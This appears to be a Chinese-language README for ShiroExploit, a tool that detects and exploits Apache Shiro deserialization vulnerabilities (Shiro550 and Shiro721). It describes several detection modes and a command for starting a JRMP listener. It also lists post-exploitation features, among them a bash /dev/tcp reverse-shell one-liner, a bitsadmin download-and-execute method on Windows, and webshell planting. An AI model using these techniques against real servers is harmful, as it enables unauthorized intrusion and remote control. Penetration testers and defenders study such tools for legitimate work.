由于当初作者开发时能力有限，导致工具本身存在着笨重及问题较多等诸多缺点。目前有很多其他的优秀工具提供了对shiro检测/利用更好的支持（如更好的回显支持，更有效的gadget与直接支持内存shell等），此工具目前已相形见绌。请各位移步其他更优秀的项目，感谢各位的使用。
对回显方式进行了一次更新，希望现在能好用一点
很多回显方式在本地测试OK，但是在实际环境中却不行，这个问题我不知道该怎么解决，希望有师傅可以指导下或者一起讨论下。
支持对Shiro550（硬编码秘钥）和Shiro721（Padding Oracle）的一键化检测，支持多种回显方式
Shiro550无需提供rememberMe Cookie，Shiro721需要提供一个有效的rememberMe Cookie- 可以手工指定特定的 Key/Gadget/EchoType（支持多选），如果不指定会遍历所有的 Key/Gadget/EchoType
- 复杂Http请求支持直接粘贴数据包
- 可以不进行任何配置，配置文件中已经预置了 CEYE 域名和对应的 Token，当然也可以对其进行修改。
- 程序会首先使用反序列化
SimplePrincipalCollection的方式筛选出唯一 Key，然后依次调用各个 Gadget 生成 Payload - 缺点：程序会使用 API：http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID] 查询检测结果，这个 API 有时候会无法正常访问，导致在这种方式下无法找到 Key 或者有效的 Gadget
- 可以不进行任何配置，每次启动时程序会自动从
dnslog.cn申请一个 DNS Record。 - 程序会首先使用反序列化
SimplePrincipalCollection的方式筛选出唯一 Key，然后依次调用各个 Gadget 生成 Payload - 缺点：少数时候 dnslog.cn 会间隔较久才显示 DNS 解析结果导致程序无法找到 Key 或者有效的 Gadget，且 dnslog.cn 只会记录最近的10条 DNS 解析记录
- 需要在 VPS 上通过命令
java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]开启HttpService/JRMPListener，并按照要求填入相应 IP 和端口 - 如果开启 HttpService/JRMPListener 时未指定端口号，则
HTTPService默认监听8080端口，JRMPListener默认监听8088端口 - 使用
JRMP的方式进行漏洞检测，可以显著减小 cookie 大小 - 程序会首先使用反序列化
SimplePrincipalCollection的方式筛选出唯一 Key，然后使用JRMP依次为各个 Gadget 生成对应的 JRMPListener
- 针对不出网的情况进行漏洞检测，此时可以检测的 Gadget 类型会少于使用 DNSLog 方式的 Gadget类型
- 程序会首先使用反序列化
SimplePrincipalCollection的方式筛选出唯一 Key，然后依次判断可用的 Gadget 类型和回显方式 - 支持多种回显方式，回显方式和代码请参考 deserizationEcho
- 使用写文件回显方式时，可以提供一个静态资源 URL，程序会将此静态资源所在的目录当做写入目录，若不提供，则写入根目录
- 测试 vulhub 拉取的镜像及 Windows下用 Tomcat 搭建的测试环境，结果如下
- 程序在判断目标应用是否存在漏洞时，窗口上部的输入框无法进行输入。当程序检测出目标应用存在漏洞时，输入框可以进行输入并执行命令。
反弹shell（linux）采用bash -i >& /dev/tcp/1.2.3.4/443 0>&1的方式反弹 shell反弹shell（Windows）采用bitsadmin下载指定 URL 的 exe 文件并执行的方式获取 shell获取Webshell直接在使用者给出的路径（目录需要真实存在）下写入 webshell, webshell 名称和后缀名由使用者自行指定，webshell 的内容从 config 目录下的 shell.jsp 中读取
在使用漏洞检测主程序或者开启 HttpService/JRMPListener 时，均需要ysoserial.jar的支持，将ysoserial.jar和ShiroExploit.jar放置在同一目录即可。
感谢 AgeloVito 怕冷的企鹅 给予本项目的技术支持